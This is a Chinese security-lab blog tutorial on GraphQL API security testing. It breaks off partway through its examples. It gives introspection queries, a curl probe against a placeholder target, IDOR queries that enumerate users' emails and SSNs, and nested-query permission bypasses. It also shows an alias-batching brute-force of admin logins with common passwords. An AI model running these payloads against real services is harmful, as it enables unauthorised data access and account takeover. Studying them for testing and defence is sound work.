[前沿技术] GraphQL API 安全测试

原创

Pik安全实验室
Pik安全实验室

Pik安全实验室

2026年5月25日 10:13
广东

在小说阅读器读本章

去阅读

0x00 介绍

GraphQL 是 Facebook 开源的 API 查询语言，允许客户端精确指定所需数据，避免了 REST API 的过度获取和不足获取问题。GitHub、Shopify、Twitter 等大量平台已迁移到 GraphQL。但灵活性的另一面是更大的攻击面——内省泄露、字段级权限绕过、嵌套查询 DoS、注入攻击等，需要专门的安全测试方法。

0x01 GraphQL 基础

查询结构

GraphQL 核心三种操作类型：

Query — 读取数据

query {
user(id: 1) {
  name
  email
  posts { title }
}
}

Mutation — 修改数据

mutation {
createPost(title: \"test\", content: \"hello\") {
id
}
}

Subscription — 实时推送（WebSocket）

subscription {
postAdded { id title }
}

内省查询

GraphQL 内置的内省（Introspection）系统是攻击者的信息金矿。通过内省可以获取整个 Schema、所有类型、字段、参数。

获取所有类型

{ \_\_schema { types { name kind fields { name type { name kind } } } } }

获取所有 Query 入口

{ \_\_schema { queryType { fields { name args { name type { name kind } } } } } }

获取所有 Mutation

{ \_\_schema { mutationType { fields { name args { name type { name kind } } } } } }

0x02 常见漏洞

内省信息泄露

生产环境启用内省是最常见的配置错误。攻击者获取 Schema 后可绘制完整 API 地图，发现隐藏的管理接口和敏感字段。

探测内省是否开启

curl -X POST https://target.com/graphql \
-H \"Content-Type: application/json\" \
-d '{\"query\":\"{ \_\_schema { types { name } } }\"}'

利用 graphql Voyager 可视化

将内省结果导入 https://ivangoncharov.github.io/graphql-voyager/

字段级别权限绕过（IDOR）

GraphQL 解析器可能只在顶层做了权限校验，嵌套字段直接返回敏感数据。

正常查询自己的资料

query { me { name email } }

遍历所有用户（IDOR）

query { user(id: 1) { name email ssn } }
query { user(id: 2) { name email ssn } }

嵌套查询绕过权限

query {
publicPosts {
  author { # 通过 post 反向查 user
  email   # 可能泄露邮箱
  privateMessages# 如果能查到私信
  }
}
}

批量查询与 DoS

GraphQL 支持别名，可在单次请求中批量发送查询。配合嵌套查询可造成深度递归攻击。

别名攻击（Batching Attack）— 暴力破解

query {
a: login(username:\"admin\", password:\"123456\") { token }
b: login(username:\"admin\", password:\"password\") { token }
c: login(username:\"admin\", password:\"admin123\") { token }